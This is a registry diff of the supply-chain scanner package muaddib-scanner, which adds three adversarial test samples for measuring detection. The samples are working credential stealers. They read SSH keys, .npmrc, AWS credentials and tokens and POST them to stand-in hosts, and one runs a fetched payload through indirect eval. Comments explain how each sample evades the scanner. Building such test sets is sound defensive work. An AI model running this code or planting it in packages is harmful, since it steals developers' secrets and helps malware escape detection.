muaddib-scanner 2.2.13 → 2.2.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -9
- package/datasets/adversarial/indirect-eval-bypass/index.js +27 -0
- package/datasets/adversarial/indirect-eval-bypass/package.json +5 -0
- package/datasets/adversarial/mjs-extension-bypass/package.json +6 -0
- package/datasets/adversarial/mjs-extension-bypass/stealer.mjs +39 -0
- package/datasets/adversarial/muaddib-ignore-bypass/index.js +47 -0
- package/datasets/adversarial/muaddib-ignore-bypass/package.json +5 -0
- package/package.json +2 -2
- package/src/commands/evaluate.js +5 -1
- package/src/index.js +33 -589
- package/src/ioc/bootstrap.js +5 -4
- package/src/output-formatter.js +192 -0
- package/src/scanner/ast-detectors.js +933 -0
- package/src/scanner/ast.js +43 -936
- package/src/scanner/dataflow.js +7 -59
- package/src/scanner/deobfuscate.js +4 -18
- package/src/scanner/entropy.js +6 -24
- package/src/scanner/github-actions.js +2 -1
- package/src/scanner/hash.js +1 -1
- package/src/scanner/module-graph.js +3 -3
- package/src/scanner/npm-registry.js +4 -3
- package/src/scanner/obfuscation.js +4 -19
- package/src/scanner/shell.js +3 -13
- package/src/scanner/typosquat.js +6 -0
- package/src/scoring.js +213 -0
- package/src/shared/analyze-helper.js +49 -0
- package/src/shared/constants.js +5 -1
- package/src/temporal-ast-diff.js +8 -18
- package/src/temporal-runner.js +139 -0
- package/src/utils.js +89 -4
package/README.md
CHANGED
|
@@ -334,15 +334,9 @@ muaddib replay
|
|
|
334
334
|
muaddib ground-truth
|
|
335
335
|
```
|
|
336
336
|
|
|
337
|
-
Replay
|
|
337
|
+
Replay real-world supply-chain attacks against the scanner to validate detection coverage. Current results: **45/49 detected (91.8% TPR)** from 51 samples (49 active).
|
|
338
338
|
|
|
339
|
-
|
|
340
|
-
|--------|------|----------|----------|
|
|
341
|
-
| event-stream | 2018 | Yes | 2 CRITICAL (known malicious package) |
|
|
342
|
-
| ua-parser-js | 2021 | Yes | 1 MEDIUM (lifecycle script) |
|
|
343
|
-
| coa | 2021 | Yes | 1 HIGH + 1 MEDIUM (lifecycle + obfuscation) |
|
|
344
|
-
| node-ipc | 2022 | Yes | 2 CRITICAL (known malicious package) |
|
|
345
|
-
| colors | 2022 | Yes | Out of scope (protestware, not malware) |
|
|
339
|
+
4 out-of-scope misses: lottie-player, polyfill-io, trojanized-jquery (browser-only DOM attacks), websocket-rat (FP-risky pattern).
|
|
346
340
|
|
|
347
341
|
### Version check
|
|
348
342
|
|
|
@@ -793,7 +787,7 @@ npm test
|
|
|
793
787
|
|
|
794
788
|
### Testing
|
|
795
789
|
|
|
796
|
-
- **
|
|
790
|
+
- **814 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
|
|
797
791
|
- **56 fuzz tests** - Malformed YAML, invalid JSON, binary files, ReDoS, unicode, 10MB inputs
|
|
798
792
|
- **75 adversarial/holdout samples** - 35 adversarial + 40 holdout, 75/75 detection rate (100% ADR)
|
|
799
793
|
- **Ground truth validation** - 51 real-world attacks (45/49 detected = 91.8% TPR). 4 out-of-scope: browser-only (3) + FP-risky (1)
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
// Bypass 01: Indirect eval via computed property access
|
|
2
|
+
// Technique: Array.join to build "eval" string, then call via globalThis[computed]
|
|
3
|
+
// Expected: MUAD'DIB scores < 3 (bypass confirmed)
|
|
4
|
+
|
|
5
|
+
const g = globalThis;
|
|
6
|
+
|
|
7
|
+
// Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
|
|
8
|
+
// Buffer.from, atob, and string concat BinaryExpression)
|
|
9
|
+
const k = ['e','v','a','l'].join('');
|
|
10
|
+
|
|
11
|
+
// This URL contains "api.github.com" which is in SAFE_STRINGS
|
|
12
|
+
// The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
|
|
13
|
+
// So even though the URL also references .ssh paths, no sensitive_string finding is emitted
|
|
14
|
+
const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
|
|
15
|
+
|
|
16
|
+
const https = require('https');
|
|
17
|
+
https.get(configUrl, (res) => {
|
|
18
|
+
let d = '';
|
|
19
|
+
res.on('data', c => d += c);
|
|
20
|
+
res.on('end', () => {
|
|
21
|
+
// Decode the "content" field from GitHub API response (base64-encoded)
|
|
22
|
+
const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
|
|
23
|
+
// Indirect eval: globalThis['eval'](payload)
|
|
24
|
+
// getCallName() returns '' for computed MemberExpression — never matches 'eval'
|
|
25
|
+
g[k](payload);
|
|
26
|
+
});
|
|
27
|
+
});
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
// Bypass 03: .mjs extension — no scanner processes this file type
|
|
2
|
+
// All scanners use findFiles with extensions: ['.js'] or findJsFiles
|
|
3
|
+
// ESM packages with "type": "module" use .mjs files legitimately
|
|
4
|
+
|
|
5
|
+
import { readFileSync } from 'fs';
|
|
6
|
+
import { homedir } from 'os';
|
|
7
|
+
import { request } from 'https';
|
|
8
|
+
|
|
9
|
+
// Direct credential theft — every dangerous pattern in one file
|
|
10
|
+
// None of this is detected because the file extension is .mjs
|
|
11
|
+
const home = homedir();
|
|
12
|
+
const stolen = {};
|
|
13
|
+
|
|
14
|
+
const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
|
|
15
|
+
for (const t of targets) {
|
|
16
|
+
try {
|
|
17
|
+
stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
|
|
18
|
+
} catch {}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
// Also grab environment tokens
|
|
22
|
+
stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
|
|
23
|
+
stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
|
|
24
|
+
stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
|
|
25
|
+
|
|
26
|
+
// Exfiltrate
|
|
27
|
+
const data = JSON.stringify(stolen);
|
|
28
|
+
const req = request({
|
|
29
|
+
hostname: 'collect.evil-analytics.com',
|
|
30
|
+
path: '/v2/telemetry',
|
|
31
|
+
method: 'POST',
|
|
32
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
33
|
+
});
|
|
34
|
+
req.write(data);
|
|
35
|
+
req.end();
|
|
36
|
+
|
|
37
|
+
// Also use eval with dynamic code (would be CRITICAL if this were .js)
|
|
38
|
+
const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
|
|
39
|
+
eval(payload);
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
// muaddib-ignore
|
|
2
|
+
//# sourceMappingURL=index.js.map
|
|
3
|
+
// Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
|
|
4
|
+
// The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
|
|
5
|
+
// Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
|
|
6
|
+
|
|
7
|
+
const fs = require('fs');
|
|
8
|
+
const os = require('os');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
const path = require('path');
|
|
11
|
+
|
|
12
|
+
const home = os.homedir();
|
|
13
|
+
|
|
14
|
+
// Build path components without triggering SENSITIVE_STRINGS check.
|
|
15
|
+
// SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
|
|
16
|
+
// AST Literal handler checks node.value.includes(sensitive) for each string literal.
|
|
17
|
+
// We avoid having any single string literal that includes these substrings.
|
|
18
|
+
const dot = '.';
|
|
19
|
+
const dirs = [
|
|
20
|
+
[dot + 'ss' + 'h', 'id_rsa'],
|
|
21
|
+
[dot + 'ss' + 'h', 'id_ed25519'],
|
|
22
|
+
[dot + 'aw' + 's', 'credentials'],
|
|
23
|
+
[dot + 'npm' + 'rc'],
|
|
24
|
+
];
|
|
25
|
+
|
|
26
|
+
const stolen = {};
|
|
27
|
+
for (const parts of dirs) {
|
|
28
|
+
const p = path.join(home, ...parts);
|
|
29
|
+
try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Also read npmrc via environment — env_access only flags vars with sensitive keywords
|
|
33
|
+
// HOME, PATH etc are in SAFE_ENV_VARS and get skipped
|
|
34
|
+
const npmrcPath = path.join(home, dirs[3].join(path.sep));
|
|
35
|
+
try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
|
|
36
|
+
|
|
37
|
+
// Exfiltrate via https.request — dataflow.js would catch this as source→sink,
|
|
38
|
+
// BUT dataflow.js skipped this file due to muaddib-ignore on line 1
|
|
39
|
+
const data = JSON.stringify(stolen);
|
|
40
|
+
const req = https.request({
|
|
41
|
+
hostname: 'telemetry.legit-analytics.com',
|
|
42
|
+
path: '/api/v1/report',
|
|
43
|
+
method: 'POST',
|
|
44
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
|
|
45
|
+
});
|
|
46
|
+
req.write(data);
|
|
47
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "muaddib-scanner",
|
|
3
|
-
"version": "2.2.
|
|
3
|
+
"version": "2.2.15",
|
|
4
4
|
"description": "Supply-chain threat detection & response for npm & PyPI/Python",
|
|
5
5
|
"main": "src/index.js",
|
|
6
6
|
"bin": {
|
|
@@ -47,7 +47,7 @@
|
|
|
47
47
|
"@inquirer/prompts": "8.2.1",
|
|
48
48
|
"acorn": "8.15.0",
|
|
49
49
|
"acorn-walk": "8.3.4",
|
|
50
|
-
"adm-zip": "
|
|
50
|
+
"adm-zip": "0.5.16",
|
|
51
51
|
"chalk": "5.6.2",
|
|
52
52
|
"js-yaml": "4.1.1",
|
|
53
53
|
"yargs": "18.0.0"
|
package/src/commands/evaluate.js
CHANGED
|
@@ -71,7 +71,11 @@ const ADVERSARIAL_THRESHOLDS = {
|
|
|
71
71
|
'pyinstaller-dropper': 35,
|
|
72
72
|
'gh-cli-token-steal': 30,
|
|
73
73
|
'triple-base64-github-push': 30,
|
|
74
|
-
'browser-api-hook': 20
|
|
74
|
+
'browser-api-hook': 20,
|
|
75
|
+
// Audit bypass samples (v2.2.13)
|
|
76
|
+
'indirect-eval-bypass': 10,
|
|
77
|
+
'muaddib-ignore-bypass': 25,
|
|
78
|
+
'mjs-extension-bypass': 100
|
|
75
79
|
};
|
|
76
80
|
|
|
77
81
|
const HOLDOUT_THRESHOLDS = {
|